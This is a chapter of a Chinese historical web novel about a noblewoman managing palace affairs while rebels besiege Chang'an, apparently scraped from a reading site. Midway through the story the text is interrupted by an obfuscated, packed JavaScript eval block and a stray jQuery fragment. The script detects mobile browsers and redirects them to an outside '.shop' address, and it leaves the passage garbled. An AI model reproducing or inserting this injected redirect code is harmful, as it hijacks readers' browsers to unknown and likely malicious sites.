“什么时辰了?燕草?”
堂外天光将明未明的时候,燕草突然听见内室传来云映初焦虑的呼唤。
“卯时一刻。”燕草快步跑进内室,迎面只见床帏被草草挂在两旁,正中央织金绣雀的床榻上,云映初胡乱缠着一层薄被,坐在当中浅浅喘息,看模样竟像是刚从梦魇中惊醒。
燕草端来一杯熟水,为她顺了顺气,又用袖口擦掉云映初额头上的冷汗。
“外面有什么动静没有?”云映初将空杯盏放回燕草手中。
“没有,还安静着呢。”
堂外确实如燕草所说,听不见一点不同寻常的声响,恍然令人以为今日不过是再平常不过的一天。
“带人为我梳妆更衣。”云映初利落地下了床榻,“你我早些回宫。”
燕草惊异地发现,只片刻间,云映初就又变回了往日里镇静缜密的模样,梦醒时的惊慌仿佛与昨夜种种一同湮灭无踪了。
......
等燕草随云映初坐上回宫的车驾时,才有机会将傅翾清晨临行前的嘱咐转达给云映初。
她本以为云映初会多问几句君侯的状况,不意只见云映初简短地一点头。
“催马快些。”
朗声吩咐完车右,云映初转头迅速地与燕草说道:“今早城里必然都会知道君侯已经回来了,中台递进宫中的奏本只怕少不了,说不准君侯也有广告上下的军令,我们必得早些回宫才好。”
镇北将军幕府的车马向来在街巷中畅行无阻,眼下时节特殊更是无人敢拦。云映初端坐其中,正在思量傅翾回京一事是否会弹压下朝中姜家大肆弹劾的气焰,不防车驾骤然降速,多亏燕草在云映初前扑时死死拦住,这才没让她磕碰到。
燕草满脸焦急地查看她是否受伤,确认无事后正要开口斥问车右,却听得车驾前方不远处传来一阵嘈杂的声响。
静街开道,骑兵护卫,只听马蹄声,前后仪仗应当不少于二十人,人马速度不减,看来不是宫中传旨。而能让云映初的车驾避让的除了宫中那就只有......
云映初按下燕草想要询问车右的动作,示意她安静。
“是军令。”
燕草悚然一惊。
“镇北将军,持节都督内外诸军事,告长安吏民:”
“......袁逆反叛,举兵凌上,天子近卫,登陴固守,控弦而待,幽云边军,勤王保驾,旦夕可至,贼子指日而亡!”
“......凡城池上下,无论官身,上至公卿,下及走卒:”
“一、坊巷乡里,安守如故,不可妄自惊扰,相白流言,凡有讹造煽惑者,聚众滋事者,即付军法论处无赦!各门各户,相查奸细,投贼者以谋反大罪坐族。”
“二、丁壮愿投军报效者,赴京兆尹录名,即发刀兵盾牌,随军御敌,战后并同奖赏,不愿临阵者,亦可运渡修补,医治伤卒,效命所长。”
“三、城中粮储齐备无虞,允吏民积粮自足。唯不可囤积居奇,抢夺盗窃,违者视同滋事一体论处。”
“四、城门戒严,非令不可擅近,如有擅自潜逃者,即令射杀。”
“......天子镇守,两宫安坐,京师上下,一体同休,锐师精良,所向披靡,袁逆授首,必然之理,待事定,上下俱有赏赐。”
里坊之间,想起了此起彼伏的宣告声。
“快走!”等仪仗过去,云映初立刻督促车右开拔。
车右不敢怠慢,一路催马疾驰到掖门处。云映初等不得停稳就掀开车帷扶輢而下,然而来者却比她更为急切。
冯常侍一早就派心腹在掖门处等候,来人一见幕府车驾便小跑过来在车驾前囫囵行了个礼,随后直接向刚下车的云映初问道:“拜见侯夫人,常侍派小人前来接引,敢问如今城外是个什么境况?可是袁逆引兵到了?”
“到宫中再说。”云映初径直走入宫禁。
冯常侍正等在长乐宫阶前,昨夜太皇太后又有些反复,他悬心侍奉了一夜,太皇太后方才安歇。
离了御榻,冯常侍终于流露出遮掩极好的焦躁,他在原地来回踱步,等到远远看见武宁侯夫人的衣袖闪入宫门,他立时快步下阶相迎。
“常侍不必惊慌,兵祸自是如此。”云映初先声打断冯常侍呼之欲出的问话,“我来的路上刚好碰见君侯布令全程,内容当是还未过尚书台,眼下先要把此项章程补上。今日送进宫中的奏本到了吗?”
“尚未。”冯常侍一遍紧跟着云映初的脚步往回走,一边气喘吁吁地答道,“君侯的布告倒是不急,有陛下亲赐的节钺,就算不走中台直发也不算违制,眼下最要紧的还是......”
轰——
一声震慑心魂的沉响从西面城墙外传来,骤然打断了冯常侍未尽的话语。
一行人猛地驻步,不约而同地往西方看去。
长安西墙三门如旧,并未让人看出什么异样,然而随着下一声砲石落地的沉响传来的,还有渐起的喊杀声。
“冯常侍。”云映初字如迸珠般干脆:“袁歆到了,你我帮不了君侯守城,至少要为他摆平后方,快些入殿。”
永治殿中依然是千钧覆压下的沉闷压抑,云映初无心顾及殿中碍事的垂缦,不等燕草为她开道就信手拨开,一路直达平日理事的偏殿。
“今日有四项要事。”云映初转身站定,面向方才刚跟过来的冯常侍。
“一则,要常侍帮我一同整理尚书台发来的奏本,看一看姜家是不是个懂事的,若是,两厢里都好说,若不是,我便点一队禁军围了姜府和御史中丞的宅邸;
“二则,我要以陛下的名义发一道诏令,改大司农等人军中差遣,长安之围一日不解,便请大司农在军中筹措调遣一日粮草辎重。
“三则,发尚书台拟旨,下一道安抚吏民的抚旨。
“四则便是为君侯周全了章程。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17775665|204021||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>冯常侍气息颠簸得很,仍旧抚膺回道:“这都好说。”
城西传来的喊杀声越来越大,现在甚至可以穿过层层阻隔,清晰地传入殿中诸人的耳中。
等冯常侍稍喘匀了些,便急不可耐地上前一步:“侯夫人,昨日镇北将军可有与你说些外面的情况?昨夜陛下转醒,曾有口谕要我明旨天下勤王。”
云映初一听这话便知若不是太皇太后病糊涂了,便是冯常侍自己信不过傅翾,于是勃然作色:“常侍说的是哪里话,莫要诓我昨夜不曾在陛下面前侍奉!勤王的幽云边军不就正在来的路上,左不过十几二十日便到了,怎么这个时候又要州郡上的兵马?且不说其兵力敌不敌得过袁歆的人马,就直说靠不靠得住!陛下若是信州郡肯来勤王,先前何苦又是动禁军,又是舍近求远要幽云边军驰援,陛下没这么做不就是因为担忧一旦勤王诏书明告天下,再也无法按捺住州郡屯兵自重的反意,到时候别说一个袁歆,就是十个也少了!”
冯常侍话一脱口便惊觉不妥,好不容易找到个插话的气口,却被云映初毫不客气地伸手当面一指,生生截住了话头。
“眼下君侯尚且可以借助禁军御林同叛军周旋,不说退敌,至少可以抵抗至幽云边军前来,倘若真如常侍的意,届时天下群起而乱,又该有多少人存心与袁逆同流合污?常侍是想要拉着天子与两宫一起去死吗?”
“侯夫人言重了!小臣绝无此意!”冯常侍急切道。
“陛下此言不过是担忧城中守备不足,君侯调动起来吃力而已。君侯是陛下的亲侄,幼时又有抚养之情,怎么会在这个时候怀疑他呢?”
“正是知道陛下不会怀疑君侯我才要和常侍说这样的话。”云映初冷笑一声,“大战之中,若是有不知轻重的话传了出去,才是要将长安上下尽付袁逆刀兵之下。”
城外几轮发砲之后,从声音听来,明显精度准确了许多,不少砲石落在长安厚重的城墙上,发出更加轰然的震响。
云映初知道此时就算冯常侍不会与自己翻脸,也不能将他逼得太狠,片刻之后,便率先缓和了口吻开口道:“我知道常侍诸事缠身,又牵挂社稷安慰,这是随太皇太后耳濡目染的缘故,我既嫁与君侯,自然也是如此。实不相瞒,我昨夜听君侯指示,并不曾安枕,眼下难念急躁了些,平日又常与常侍打交道,自知常侍也不好过,只是如今正是要紧时节,实在不该自相攻讦,常侍以为呢?”
冯常侍叹了口气,赶忙便要顺着说下去。
然而此时永治殿的正门霍然而开,一个品阶不低的宫侍走了进来。
在他身后几个抱着装有尚书台上呈奏本的木筐的宫侍正垂首等待。
冯常侍看了一眼云映初,得到同意后便令入殿。
为首的宫侍带着身后众人转入内殿,率先向云映初与冯常侍款款而拜。
“有告武宁侯夫人与常侍,今日尚书台奉陛下御览之奏本俱在此,小臣这便奉来。”